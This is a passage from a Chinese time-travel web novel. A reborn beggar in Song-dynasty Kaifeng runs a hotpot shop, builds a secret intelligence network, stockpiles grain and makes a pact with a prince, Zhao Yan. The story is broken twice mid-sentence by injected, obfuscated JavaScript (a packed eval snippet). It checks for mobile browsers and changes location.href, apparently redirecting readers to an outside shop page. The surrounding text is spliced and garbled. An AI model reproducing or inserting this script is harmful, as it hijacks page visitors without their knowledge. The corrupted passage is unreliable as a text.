“意……意大利?那是哪儿?” “很远的地方,在海上,要坐好几个月船才能到。” 钱串子一脸崇拜:“萧哥,你连那么远的地方的事都知道?” 萧北翊笑了笑,没接话。他总不能说“我在一千多年后的一本书上读到的”吧? 但他很快意识到一个问题——这套复式记账法,在北宋可能太超前了。 超前到什么程度呢?超前到就像一个现代人回到古代,掏出智能手机刷二维码。普通人看了觉得新鲜,但懂行的人看了,就会多想——这个乞丐从哪学来的?他背后是谁? 萧北翊决定把账本藏起来,不放在店里。不是因为不信任谁,而是因为——在东京城这种地方,一个人太“特殊”了,不是好事。 南北火锅开业一个半月后的一天傍晚,店里来了一个不寻常的客人。 说不寻常,不是因为他长得奇怪,而是因为——萧北翊注意到他,不是他自己发现的,是阿九提醒的。 “萧哥,”阿九走到后厨,压低声音,“靠窗那个位置,坐了一个人。穿月白色直裰,三十来岁,气度不凡。他已经坐了半个时辰了,只点了一壶茶,什么都没吃。” 萧北翊从后厨的帘子缝里往外看了一眼。 靠窗的位置上,坐着一个男人。月白色的直裰质地上乘,但款式普通,不扎眼。腰间系着一条墨绿色的丝绦,上面没挂玉佩,低调得像是故意不让人注意。面容清瘦,眉目间有一股英气,但眼神很温和,嘴角甚至还带着一丝若有若无的笑意,看起来像是个来尝鲜的普通食客。 但萧北翊注意到一个细节——他的手。 那双手白净修长,指甲修剪得整整齐齐,不是干活的手,也不是拿笔的手。那种手,萧北翊只在一种人身上见过——从小习武、但又不靠武力吃饭的人。弓马娴熟的宗室子弟,手上就是这种劲儿。 “别盯着他看。”萧北翊对阿九说,“正常招呼,不要特殊对待。” 阿九点头,端着茶壶出去了。 萧北翊回到灶台前,继续调他的底料,但脑子里一直在转。 这人是谁?为什么来他的店?是冲着火锅来的,还是冲着赤羽来的?如果是冲着火锅来的,为什么只点茶不点菜?如果是冲着赤羽来的——赤羽的存在,应该只有赤羽内部的人知道。 他一边调底料,一边把最近发生的事在脑子里过了一遍。孙七爷的事已经了了,周世昌那边也没什么异常,城西那个朱胖子被辞退后再没出现过——应该不是仇家。 那就是冲着他萧子翼这个人来的。 萧北翊没有急着出去打招呼,也没有让阿九去试探。对方不急,他也不急。在江湖上混,谁先开口,谁就矮一头。 那人坐了一个时辰,中间只点了一盘羊肉,象征性地吃了几口。结账的时候,阿九报了个数,他付了钱,多给了二十文的小费。 “客官慢走。”阿九笑着送他出门。 那人走到门口,忽然停下脚步,回头看了一眼店里的招牌。 “南北火锅。”他念了一遍,嘴角微微上扬,“好名字。” 然后他走了。 萧北翊从后厨出来,看着那人的背影消失在巷口。 “阿九,记住了,这个人明天要是再来,告诉我。” “萧哥,你觉得他是什么人?” “还不确定。”萧北翊说,“但不像是来吃火锅的。” 第二天,那人又来了。 还是靠窗的位置,还是一壶茶,还是一盘羊肉。这次他坐了一个半时辰,中间去了趟茅房——萧北翊注意到,他路过柜台的时候,目光在柜台上那本账册上停留了一瞬。 账册。萧北翊心里咯噔了一下。那本账册用的是复式记账法,虽然只记了火锅店的流水,但记账的方式跟市面上的完全不同。一个懂行的人,一眼就能看出蹊跷。 这人懂行。 第三天,那人又来了。这次他只坐了半个时辰,走的时候,留下了一张纸条。 阿九把纸条拿给萧北翊。纸条上写着一行字: “萧老板的火锅很好,账记得更好。改日再会。” 没有落款。 萧北翊把纸条看了三遍,心里有了数。 这人不是来吃火锅的,也不是来看热闹的。他是来看人的——看萧北翊这个人。账册的事暴露了赤羽不止是一家火锅店。一个有组织的情报网络,需要一个懂管理的人来记账。复式记账法在这个时代是降维打击,懂行的人一眼就能看出这不是普通商贩的手笔。 但他是谁? 萧北翊把阿九叫过来:“帮我查一个人。三十来岁,穿月白色直裰,经常出入甜水巷一带,气度不凡。不要惊动任何人,暗中打听就行。” 阿九点头去了。 三天后,阿九带回了消息。 “萧哥,那个人查到了。姓赵,单名一个衍字,是宗室子弟,封郡王,住在城中的赵府。” 萧北翊的手指在桌上轻轻敲着。 赵衍。 他在脑子里搜索这个名字。宋史上的赵衍——没有。北宋宗室子弟成千上万,能在史书上留名的没几个。但“衍”这个字,加上宗室子弟的身份,让他想起了一个人。 宋英宗赵曙,原名赵宗实,是宋仁宗的养子。但在赵宗实之前,仁宗还养过另一个宗室子弟——赵允让的儿子,叫什么来着? 萧北翊的记忆有些模糊。他在现代读宋史的时候,重点读的是制度史和战争史,宗室谱系这种细枝末节,他只是一个大概的印象。赵衍这个名字,正史上没有,但野史上似乎提过——某个不得志的宗室子弟,在仁宗朝前期有过一些活动,但后来就没了记载,可能是早逝,也可能是被贬。 一个在正史上没有留下痕迹的郡王,活得低调,不参与朝堂争斗,但在宗室中颇有声望——这样的人,要么是真的淡泊名利,要么是在暗中积蓄力量。 萧北翊的直觉告诉他,赵衍属于后者。 “还有,”阿九补充道,“最近有人在赵府附近见过南姑娘。” 南晚枫。 萧北翊的眉头皱了起来。南晚枫住在葫芦巷,那是城东偏南的位置,离城中的赵府隔着好几条街。她一个“房东”,去赵府附近做什么? 除非——她跟赵衍有关系。 萧北翊的脑子飞速运转。南晚枫武功高强,来历神秘,自称“南家”的人,但他从来没在南家见过她以外的任何人。她说她在院子里找东西,找到了那块玉佩就走了,但玉佩到底证明了什么,她从来没说清楚。 她是赵衍的人。至少,跟赵衍有很深的关系。 这个念头一冒出来,很多事就说得通了。南晚枫在葫芦巷“扮鬼”,表面上是找东西,实际上可能是在替赵衍盯着那片区域——或者盯着什么人。她把院子租给萧北翊,也许不是因为她相信他,而是因为赵衍想让他住进去。 萧北翊的后背一阵发凉。他以为自己在下一盘棋,没想到自己可能从一开始就是棋盘上的一颗棋子。 但转念一想,他又笑了。 棋子又怎样?下棋的人,也需要棋子。如果赵衍需要一个能在市井中扎根、能收集消息、能办事的人,那赤羽就是最好的选择。而萧北翊,也需要一个能在朝堂上说得上话的靠山。 各取所需,公平交易。 “萧哥,你没事吧?”阿九看他脸色变来变去。 “没事。”萧北翊深吸一口气,“继续盯着赵府,但小心点。郡王不是孙七爷,被发现了不是闹着玩的。” 接下来的半个月,赵衍没再来。 萧北翊以为这件事过去了,但心里一直悬着。他知道,一个郡王不会无缘无故关注一个乞丐。赵衍一定在等什么——等萧北翊露出更多的底牌,或者等某个时机成熟。 萧北翊决定,在赵衍再次出现之前,先把赤羽的事情做得更扎实。不管赵衍打什么算盘,手里有实力,才有谈判的筹码。 火锅店的生意越来越好。萧北翊又招了三个伙计,都是从乞丐堆里挑出来的机灵鬼。他让赵大锤带他们打锅、切肉、调底料,让钱串子教他们算账、招呼客人。赤羽的消息网络也在暗中扩张,触角从东京城的五个片区,慢慢伸向了周边的城镇——陈留、中牟、尉氏、太康。 萧北翊还做了一件让所有人都看不懂的事——他开始存粮。 不是买来吃的,是买来囤的。他让孙驼子在城南租了一个废弃的仓库,陆陆续续地往里搬粮食。米、面、豆子、干菜,能存得住的一样不落。 “萧哥,你这是要开粮铺?”赵大锤问。 “不是。” “那你囤这么多粮食干啥?” 萧北翊没回答。他总不能说“根据历史记载,大中祥符五年到六年,京东路和京西路会有大范围的饥荒,粮价要涨三倍”吧? 但他确实记得这个。澶渊之盟后,北宋有过几次严重的自然灾害。大中祥符五年,黄河在滑州决口,淹了十几个县,灾民无数。紧接着第二年,京东路和京西路又是大旱,粮食绝收,粮价飞涨。 这是赤羽的机会。不是发国难财,而是——在别人还没反应过来的时候,提前做好准备。等到饥荒真的来了,赤羽手里有粮,就能做很多事。救人、收买人心、扩大势力,都离不开粮食。 当然,这些话他现在不能说。说了也没人信。一个乞丐,凭什么预测明年要闹饥荒?算命吗? 所以萧北翊只是说:“有备无患。” 那天傍晚,萧北翊正在店里算账,阿九忽然走过来,在他耳边小声说了一句话。 “萧哥,南姑娘来了。没进店,在对面的茶楼坐着。” 萧北翊抬起头,透过窗户往外看。 对面的茶楼二楼,靠窗的位置上,坐着南晚枫。她穿了一件湖蓝色的褙子,头发梳了起来,露出一截白皙的脖子。她面前摆着一壶茶,但她没在喝——她的目光正看着南北火锅的招牌,或者说,看着招牌下面的店门口。 萧北翊心里一动。她在看什么?看店里进出的客人?还是看——他? 他没有出去打招呼, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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萧北翊白了他一眼,擦擦手出去了。 大堂里,一个年轻姑娘正站在柜台前,四处张望。她穿着一件鹅黄色的褙子,头上插着一支银簪,长相甜美,皮肤白净,一看就是那种被家里娇生惯养长大的姑娘。 “这位姑娘,”萧北翊走过去,“您是——” 姑娘转过身来,看见他,眼睛一亮,嘴角漾开两个浅浅的酒窝。 “你就是萧老板?” “对,在下萧子翼。” “我叫沈若兮,”姑娘微微欠了欠身,“是隔壁街‘沈家绣坊’的。我娘说你们这儿的火锅好吃,让我来买一份带回去。” 萧北翊看了一眼她空空的双手:“姑娘没带食盒?” 沈若兮愣了一下,然后不好意思地笑了:“哎呀,我忘了。” “没关系,小店有备用的。”萧北翊转身去后厨,让阿九准备了一份火锅外带,用油纸和竹篮装好,拎出来递给沈若兮。 “二十文。” 沈若兮从袖子里摸出一块碎银子,塞到萧北翊手里:“不用找了,剩下的算赏钱。” 萧北翊看了看手里的银子——至少值五十文。这姑娘出手挺大方。 “多谢姑娘。”萧北翊把银子收了,转身要走。 “萧老板,”沈若兮叫住他,“你晚上忙不忙?” 萧北翊停下脚步:“姑娘有什么事?” “我娘说,想请你去家里吃顿饭,谢谢你上次帮忙的事。” 萧北翊愣了一下:“帮忙?帮什么忙?” 沈若兮歪着头看他:“你不记得了?上个月,有几个地痞去我家的绣坊闹事,是你手下的人帮我们赶走的。我娘一直想当面谢谢你。” 萧北翊想起来了。上个月,赤羽在城西的人确实处理过一起地痞闹事的事,但他不记得跟沈家绣坊有关。大概是下面的人顺手帮的忙,没有专门汇报。 “举手之劳,不足挂齿。”萧北翊说,“吃饭就不必了,姑娘替我谢过令堂。” “萧老板是不赏脸?”沈若兮的语气里带着一丝撒娇的味道,“我娘说了,要是请不来你,她就要亲自来请。你忍心让一个老人家大老远跑一趟?” 萧北翊哭笑不得。这姑娘,嘴皮子倒是利索。 “行,”他说,“改日有空一定去。” “那就说定了!”沈若兮笑眯眯地拎着篮子走了,走到门口还回头看了他一眼。 赵大锤从后厨探出头来:“萧哥,这姑娘不错啊。” “刷你的锅去。” 萧北翊没把这事放在心上。一个绣坊的姑娘,跟他八竿子打不着,客气几句就过去了。但他没想到的是,沈若兮第二天又来了。 这次她带了食盒,买了一份火锅,坐在靠窗的位置上慢慢吃。吃到一半,冲他招招手。 萧北翊走过去:“沈姑娘,菜还合口味?” “好吃。”沈若兮用筷子夹了一片羊肉,在锅里涮了涮,放进嘴里,满足地眯起眼睛,“萧老板,你这个人真厉害。长得好看,做的东西又好吃,还会做生意。你娶亲了没有?” 萧北翊差点被自己的口水呛到。 “没有。” “那有心上人吗?” “沈姑娘,”萧北翊说,“咱们才见第二次面。” “第二次又怎么了?”沈若兮理直气壮,“我娘说了,遇到喜欢的人,就要主动问。问了不一定有机会,不问一定没机会。” 萧北翊看着她,一时不知道该怎么接。这姑娘的思维方式,怎么跟北宋的女子不太一样?北宋的女子不都是含蓄内敛、大门不出二门不迈的吗?这位倒好,直接冲到火锅店里来问人家有没有心上人。 “沈姑娘,”萧北翊斟酌着词句,“你还小,不懂这些。” “我不小了。我十七了。”沈若兮放下筷子,双手托腮,歪着头看他,“萧老板,你是不是觉得我太主动了?我告诉你,我这个人就这样,喜欢就喜欢,不喜欢就不喜欢,不藏着掖着。你要是觉得我烦,我明天就不来了。” 萧北翊看着她那双亮晶晶的眼睛,忽然觉得这姑娘还挺可爱的。不是那种让人心动的可爱,而是那种——像一只不怕生的小猫,明明跟你还不熟,却敢跳上你的膝盖打呼噜。 “不烦。”萧北翊说,“但沈姑娘,我这个人,不太适合谈这些事。” “为什么?” “因为我很忙。”萧北翊说完,转身回了后厨。 沈若兮看着他的背影,嘟了嘟嘴,然后继续吃火锅。吃到一半,忽然笑了。 “忙?忙又不是缺点。” 接下来的几天,沈若兮每天都来。 有时候买外带,有时候在店里吃,有时候什么都不买,就是坐在靠窗的位置上喝一杯茶,看萧北翊忙来忙去。她不像别的姑娘那样缠着不放,也不说什么让人尴尬的话,就是安安静静地待着,偶尔跟阿九聊几句。 萧北翊知道她在干嘛,但他没工夫管这些。赤羽的消息网络在扩张,火锅店的生意要操心,还要暗中囤粮、训练人手、处理大大小小的麻烦事。一个绣坊的小姑娘对他有好感,这件事在他的优先级列表上,排在倒数第一。 但阿九不这么想。 “萧哥,沈姑娘今天又来了。”阿九每天都会汇报。 “嗯。” “她给你带了自己做的桂花糕。” “放柜台上。” “萧哥,你不吃吗?” “一会儿吃。” 阿九叹了口气,觉得自家这位萧哥在感情方面,简直是个木头桩子。 那天傍晚,火锅店打烊后,萧北翊一个人坐在店里算账。 门忽然被推开了。 他以为是赵大锤回来拿东西,头也没抬:“东西在柜台上,自己拿。” 来人没动。 萧北翊抬起头,愣住了。 门口站着的是南晚枫。她今天穿了一件深青色的褙子,头发没梳起来,披散在肩上,月光从门口照进来,映在她身上,像一幅水墨画。 “南姑娘?”萧北翊站起来,“你怎么来了?” 南晚枫走进来,在他对面坐下,看了一眼柜台上的桂花糕。 “沈家绣坊的姑娘送的?” 萧北翊愣了一下:“你怎么知道?” “看见了。”南晚枫的语气很平淡,“她每天都来。” 萧北翊心里咯噔了一下。她“看见了”?她在哪儿看见的?在对面茶楼?在巷口?还是在某个他看不见的角落里? “南姑娘,”萧北翊斟酌着词句,“你来找我,是为了什么事?” 南晚枫没回答,而是从袖子里摸出一张纸,放在桌上。 “有人让我转交的。” 萧北翊拿起纸,展开。上面只写了四个字: “明日酉时。” 没有落款,没有地址,什么都没有。 萧北翊看着这四个字,心里明白了一半。 “谁让转交的?” 南晚枫站起来,走到门口,停下脚步,头也不回地说了一句:“你见过的人。” 她走了。 萧北翊坐在店里,把那四个字看了又看。 “你见过的人。”他见过的人多了。周世昌、孙七爷、范仲淹、王隐之、赵大锤、刘二、钱串子、孙驼子、阿九……但能让南晚枫转交纸条的,恐怕只有一个。 赵衍。 萧北翊把纸条折好,收进袖子里,站起来关了店门。 走到甜水巷口的时候,他忽然停下脚步,抬头看了看天上的月亮。月亮很圆,很亮,照得整个东京城像镀了一层银。明天酉时,赵府。他不知道赵衍找他做什么,但他知道一件事——从今天起,他的棋局,不再只是甜水巷这一亩三分地了。 7. 第七章 赵府夜话 第二天酉时,萧北翊站在城中的赵府门前。 他换了一身干净衣裳——不是新买的,是从当铺里淘来的旧袍子,洗得发白,但好歹没有补丁。他没带任何人,连刘二都没跟来。不是因为自信,而是因为——如果赵衍想对他不利,带十个人也没用。 赵府的大门不算气派,甚至比不上城东几个富商的宅子。两扇黑漆木门,门口没有石狮子,只蹲着两个上马石。门楣上挂着一块匾,写着“赵府”两个字,字迹端正但不算名家——低调得不像一个郡王的府邸。 萧北翊敲了敲门。过了好一会儿,门才开了一条缝,一个老仆人探出头来,上下打量了他一眼。 “萧子翼?”老仆人的声音沙哑,像是嗓子眼里塞了团棉花。 “正是。” “跟我来。” 老仆人领着他穿过前院、中院,来到了后花园。赵府不大,但布局精致,一草一木都透着主人的用心。后花园里有一处小亭子,亭子里摆着一壶茶、两只杯,赵衍正坐在那里翻一本书。 萧北翊注意到一个细节——亭子周围没有人。没有护卫,没有仆从,连南晚枫都不在。 赵衍抬起头,看见他,合上书放在一旁,微微抬手:“萧公子,请坐。” 萧北翊走进亭子,在赵衍对面坐下。他没有急着开口,而是端起茶壶,给赵衍倒了一杯茶,又给自己倒了一杯。 赵衍看着他倒茶的动作,嘴角微微上扬。 “你不怕我?” “赵官人请我来喝茶,有什么好怕的?” “你怎么知道我是请你来喝茶的?也许是鸿门宴呢?” 萧北翊端起茶杯,喝了一口,不紧不慢地说:“如果是鸿门宴,我进来的时候就该有刀斧手冲出来了。现在还没出来,说明不是。” 赵衍笑了。不是那种客气地笑,而是真的觉得好笑。 “萧子翼,你这个人,说话很有意思。” “赵官人过奖。” “我说的是实话。”赵衍端起茶杯,看着杯中浮沉的茶叶,语气变得随意,“你的火锅店,我去了三次。你知道我是谁吗?” 萧北翊心里咯噔了一下。他知道赵衍的身份,但如果直接说出来,就显得他刻意打听过。一个乞丐,去打听一个郡王的底细,这不是找死吗? “不知道。”萧北翊说,语气平淡,“只知道赵官人不是一般人。” “哦?怎么看出来不是一般人?” “喝茶的姿势。”萧北翊说,“普通人喝茶,端起就喝,不会看茶叶在杯里怎么转。赵官人每次喝茶前,都会先看一眼茶叶,等茶叶沉下去了再喝。这不是习惯,是修养。有这种修养的人,不是一般人。” 赵衍愣了一下,然后笑得更开了。 “萧子翼,你不仅会说话,还会看人。这一点,比我手下的很多人都强。” 萧北翊没接话。他知道赵衍说这话不是在夸他,而是在试探——试探他的反应。如果他表现出得意,说明他沉不住气;如果他表现得谦虚,说明他有城府。 萧北翊选择了后者。 “赵官人谬赞。小子不过是开了个火锅店,认识的客人多了,看得多了,自然就会了。” 赵衍放下茶杯,目光变得深邃起来。 “萧子翼,我今天请你来,不是聊火锅的。我有几件事想问你。” “赵官人请讲。” “第一,你手下的那些人,是乞丐,还是别的什么?” 萧北翊的心跳加快了一瞬。赵衍这句话问得很直白,但也很危险——他在问赤羽的性质。如果萧北翊承认赤羽是一个情报组织,那就是在告诉赵衍,他有能力收集消息,也有能力做更多的事。但同时,也在暴露自己的底牌。 如果否认,那就是在撒谎。在赵衍这种人面前撒谎,后果比说实话更严重。 萧北翊深吸一口气,决定说实话——但说一半。 “他们以前是乞丐。现在,他们在帮我做事。” “做什么事?” “看店、采购、送货。”萧北翊说,“火锅店的生意忙,一个人忙不过来。” 赵衍看着他的眼睛,似乎在判断这话的真假。 “就这些?” “就这些。” 赵衍沉默了一会儿,然后笑了。 “萧子翼,你这个人,嘴很严。这是好事,也是坏事。好事是,你不会乱说话。坏事是,我想知道的事,你不说,我就得自己去查。我这个人,最讨厌麻烦。” 萧北翊心里一紧,但脸上不动声色。 “赵官人可以派人去查。火锅店的事,一查就清楚。” 赵衍摆了摆手:“算了。你不想说,我不勉强。第二件事——你账册上那种记账方法,是谁教你的?” 萧北翊早就料到他会问这个。复式记账法在这个时代太超前了,任何懂行的人看了都会起疑。他准备好了说辞——一个真假参半、让人无法反驳的说辞。 “家父教的。” “令尊是做什么的?” “以前是个商人。”萧北翊说,“走南闯北,去过很多地方。这套记账方法,是他从南边一个商人那里学来的。” “南边?广州?泉州?” “大概是吧。”萧北翊含糊地说,“家父去世的时候,我还小,很多事记不清了。” 赵衍没有再追问。他知道萧北翊在隐瞒什么,但他也知道,有些事问一次就够了。问多了,反而显得自己没风度。 “第三件事,”赵衍说,“也是最要紧的一件事——孙七爷的事,你打算怎么收场?” 萧北翊的眼睛微微眯了一下。孙七爷的事,他知道多少? “孙七爷的事已经了了。”萧北翊说,“他打了我的人,我查了他的底,他请我吃了一顿饭,扯平了。” “扯平了?”赵衍的语气变得意味深长,“你以为孙七爷是那种‘扯平了’就不计较的人?他不动你,不是因为他怕你,是因为有人在背后说了话。” 萧北翊心里一动:“谁?” “我。” 亭子里安静了一瞬。 萧北翊看着赵衍,赵衍看着他。两人的目光在空气中碰撞,谁也没有移开。 “赵官人为什么要帮我?” “不是帮你。”赵衍说,“是帮我自己。孙七爷跟程家有来往,程家是我的对头。你动了孙七爷,程家会以为是我在背后指使的。我不想背这个锅,所以让孙七爷收了手。” 萧北翊沉默了。这个解释,合情合理。但合情合理的东西,往往不是全部的真相。 “多谢赵官人。”萧北翊拱了拱手。 赵衍摆了摆手:“不用谢。我不是在帮你,我是在帮我自己。你接下来打算做什么?” 萧北翊想了想,决定再露一点底牌。赵衍已经知道了一些事,如果他什么都不说,反而会让赵衍觉得他不识抬举。 “囤粮。” 赵衍的眉头一挑:“囤粮?做什么?” “大中祥符五年,黄河在滑州决口,淹了十几个县。紧接着第二年,京东路和京西路大旱,粮食绝收。”萧北翊说这些话的时候,语气平静得像在说今天的天气,“如果提前囤一些粮食,到时候不管是卖还是捐,都能派上用场。” 赵衍盯着他看了好一会儿,目光中闪过一丝难以捉摸的东西。 “你怎么知道明年要闹灾?” 萧北翊早就想好了答案:“家父留下的一本书上写的。那本书上记录了过去几十年的天象和气候,推算出了一些规律。” “什么书?” “不知道。那本书后来遗失了。” 赵衍沉默了很久。亭子外面,风吹过竹丛,发出沙沙的声响。 “萧子翼,”赵衍终于开口,声音比之前低了几分,“你这个人,让我很感兴趣。” “小子受宠若惊。” “不是恭维。”赵衍站起来,走到亭子边,背对着萧北翊,看着花园里的竹子,“我赵衍活了三十三年,见过的人不少。有才华的、有胆量的、有野心的,都见过。但你这样的——乞丐出身,却有商人的头脑;没读过书,却知道天象历法;手下养着一群人,却不张扬不惹事——这样的人,东京城找不出第二个。” 萧北翊站起来,走到赵衍身后,没有接话。 “我有一个想法,”赵衍回过头,看着萧北翊,“不知道你愿不愿意。” “赵官人请讲。” “你继续做你的事——开火锅店、囤粮、养人。我不干涉你。但有些时候,我需要一些……消息。一些从市井中来的、从底层来的、那些朝堂上听不到的消息。你,愿不愿意帮我?” 萧北翊的心跳加速了。这正是他想要的机会——一个能接触朝堂、能借势而上、能让赤羽从地下走到地上的机会。 但他不能表现得太过热切。一个太容易答应的人,不会被人珍惜。 “赵官人,”萧北翊说,“小子是个商人。帮您做事,能有什么好处?” 赵衍笑了。这次是真正的、带着欣赏的笑。 “好处?你想要什么好处?” “第一,赤羽的人,在东京城做事,不会被官府找麻烦。” “可以。” “第二,赵官人以后有什么消息要买,给个公道的价钱。” “可以。” “第三,”萧北翊顿了顿,“小子还没想好。等想好了再说。” 赵衍看了他一眼,点了点头。 “行。三件事,我都答应了。”他伸出手,像现代人一样——不,在这个时代,这叫做“击掌为盟”。 萧北翊愣了一下,然后伸出手,与赵衍击了一掌。 两人的手掌拍在一起,发出一声清脆的响声,在安静的亭子里显得格外响亮。 “萧子翼,”赵衍说,“从今天起,你我就是自己人了。” 萧北翊拱了拱手,没说话。他从来不相信“自己人”这种话。在这个世界上,只有利益是永恒的。赵衍需要他的消息网,他需要赵衍的庇护。各取所需,各安其命。这就够了。 萧北翊从赵府出来的时候,天已经完全黑了。 他走在城中的街道上,脑子里还在回放刚才的对话。赵衍这个人,比他预想的要精明,但也比他预想的要大度。一个郡王,能放下身段跟一个乞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17650297|206859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丐谈条件,说明他不是一个拘泥于身份的人。这样的人,要么是真的豁达,要么是心里装着更大的事。 萧北翊觉得,赵衍属于后者。 走到甜水巷口的时候,他忽然停下了脚步。 月光下,一个人影站在巷口的老槐树下,穿着一件深青色的褙子,头发披散着,手里提着一盏小灯笼。 是南晚枫。 “南姑娘?”萧北翊走过去,“这么晚了,你怎么在这儿?” 南晚枫看着他,脸上的表情在灯笼的映照下忽明忽暗。 “赵衍跟你说了什么?” 萧北翊心里一动。南晚枫直呼赵衍的名字,没有加任何尊称,语气也很随意,像是多年的老熟人。这一点,更印证了他的猜测——她是赵衍的人,而且不是一般的属下。 “没说什么,”萧北翊说,“就聊了几句家常。” 南晚枫盯着他看了好一会儿,然后嘴角微微上扬——不是笑,是那种“你觉得我会信吗”的表情。 “萧子翼,你这个人,说谎的时候眼睛会往右上方看。” 萧北翊愣了一下:“你怎么知道?” “因为我见过你说谎。”南晚枫说完,转身往巷子里走去。 萧北翊跟上去:“我什么时候对你说过谎?” “第一次见面的时候。你说你是‘散丐’,不属于谁管。我当时就查过,甜水巷一带根本没有你这号人。” 萧北翊哑口无言。他确实说过这话,但那是为了在孙婆婆面前编身份,不算对南晚枫说谎——不过,严格来说,也不算真话。 “好吧,”萧北翊说,“我承认,有些事我没说实话。但你也没全说实话,对吧?” 南晚枫的脚步顿了一下,但没有回头。 “彼此彼此。” 两人一前一后走进葫芦巷。月光照在青石板路上,明晃晃的,像一条铺满银子的河。 走到院子门口,南晚枫停下脚步,回头看了他一眼。 “萧子翼,赵衍是个好人。但他也是个有野心的人。你跟他合作,是在走钢丝。” “我知道。” “知道就好。”南晚枫推开院门,走了进去。 萧北翊站在门口,看着她的背影消失在院子里。 “南晚枫,”他忽然开口。 院子里的脚步声停了。 “你到底是赵衍的什么人?” 沉默了很久。久到萧北翊以为她不会回答了。 “一个欠他一条命的人。” 然后脚步声重新响起来,越来越远,越来越轻,最后消失在北屋的方向。 萧北翊站在月光下,把这句话在心里翻来覆去地嚼了几遍。 欠赵衍一条命。所以她是赵衍的人,不是因为利益,不是因为情分,而是因为恩情。这样的人,比任何雇佣来的护卫都忠诚,但也比任何人都痛苦——因为她做的每一件事,都不是为自己做的。 萧北翊叹了口气,推开院门,走了进去。 赤羽的路,从今天起,多了一个郡王在背后。这条路,注定不会太平。 当天夜里,萧北翊躺在北屋的床上,怎么都睡不着。 他翻来覆去地想赵衍的话、南晚枫的话、还有自己说的话。每一个字、每一个表情、每一个眼神,都在他的脑子里反复回放。 赵衍说:“你这个人,让我很感兴趣。” 这不是一句好话。一个郡王对一个乞丐“感兴趣”,要么是要用他,要么是要除掉他。萧北翊觉得,赵衍目前是前者,但如果他哪天没用了,就会变成后者。 南晚枫说:“赵衍是个好人,但他也是个有野心的人。” 这句话很有意思。“好人”和“有野心”听起来矛盾,但实际上并不矛盾。一个好人,也可以有野心。一个有野心的人,也可以是个好人。问题是——赵衍的野心,是什么? 萧北翊闭上眼睛,开始检索他记忆中的宋史。 宋真宗大中祥符年间,朝中皇子寥寥。真宗的儿子大多早夭,活到成年的只有后来的宋仁宗赵祯。但赵祯当时还小,才几岁。朝中除了太子,还有不少宗室子弟,其中一些人有资格、也有能力争夺皇位。 赵衍,会不会是其中之一? 萧北翊不知道。但他知道一件事——如果赵衍真有那个心思,那他今天来找萧北翊,就不是偶然。一个乞丐手里有一张能覆盖全城的消息网,一个郡王手里有朝堂上的资源和庇护。两者结合,能做的事情就太多了。 萧北翊在黑暗中睁开眼睛,看着头顶的屋梁。 他忽然想起了一个词——下注。 在现代,他是个打工人,从来没赌过。但在北宋,他已经在赌了。从第一天在破庙里醒过来,他就在赌——赌自己能活下去,赌自己能爬起来,赌自己能成为一个人物。 现在,他又赌了一把——跟赵衍合作。 这一注,押得对不对,只有时间能告诉他。 窗外,月亮躲进了云层里,整个东京城笼罩在一片浓得化不开的黑暗中。 萧北翊翻了个身,闭上眼睛。 明天还有很多事要做。今晚,先睡个好觉。 8. 第八章 破庙里的旧相识 萧北翊做了一个梦。 梦里,他不是萧子翼,不是赤羽之主,不是火锅店老板,而是一个瘦骨嶙峋的少年,蹲在一条臭水沟旁边,用手里的破碗舀水喝。 水是浑的,带着一股腥臭味,但他顾不上那么多了。他已经两天没喝过一口水,嗓子眼里像塞了一团烧红的炭。他咕咚咕咚地喝了几大口,肚子里的饥饿感更加强烈了。他把碗扣在膝盖上,蹲在水沟边,眼睛直勾勾地盯着远处的一个炊饼摊子。炊饼两文钱一个,他翻遍了全身上下,一文钱都没有。 “北哥,北哥!” 一个比他还瘦小的男孩跑过来,气喘吁吁地蹲在他旁边,手里攥着半个硬馒头。馒头已经干了,表面还有一层灰,但那男孩把它递过来的时候,眼神里满是讨好。 “北哥,给你。我从赵大嘴那里偷的。” 少年接过馒头,掰成两半,把大的那半递回去:“一人一半。” “不用不用,我吃过了——” “少废话。吃。” 两人蹲在水沟边,就着臭水沟里的水,把那半个硬馒头分着吃了。馒头又干又硬,嚼得腮帮子疼,但少年吃得很认真,一口一口地嚼,不舍得咽太快。 “北哥,咱们什么时候能回徐州?”男孩吃完馒头,舔了舔手指头,眼睛巴巴地看着他。 “不急。”少年说,“等我把那件事办完,就回去。” “什么事儿啊?你一直不说。” “不关你的事。少打听。” 男孩撇了撇嘴,不再问了,把头靠在少年的肩膀上,不一会儿就打起了呼噜。 少年没有睡。他看着远处东京城的万家灯火,眼睛里倒映着那些明亮的光,但那些光离他很远很远,像是隔着一整个世界。 “阿诚,”他低声说,不知道是说给那男孩听,还是说给自己听,“等这件事办完了,哥带你去吃真正的炊饼。不是硬的,是软的那种,刚出炉的,热乎乎的。” 男孩在睡梦中“嗯”了一声,不知道听没听见。 萧北翊猛地睁开眼睛。 头顶是葫芦巷北屋的房梁,月光从窗户纸透进来,在地上画出一个方方正正的亮斑。他出了一身的汗,里衣湿透了贴在背上,凉飕飕的。 梦。 又是那个梦。 自从穿越到这具身体里,他已经做了好几次同样的梦。每一次都是那个少年乞丐的记忆碎片——水沟、炊饼摊、瘦小的男孩、还有“徐州”这个地方。 萧北翊坐起来,靠在床头,伸手摸了摸自己的额头。不烫。这说明不是发烧引起的幻觉。这是原主真实的记忆,被压在这具身体的最深处,时不时冒出来,像是在提醒他——你还有未完成的事。 未完成的事。 萧北翊闭上眼睛,把那个少年乞丐的记忆碎片重新拼了一遍。 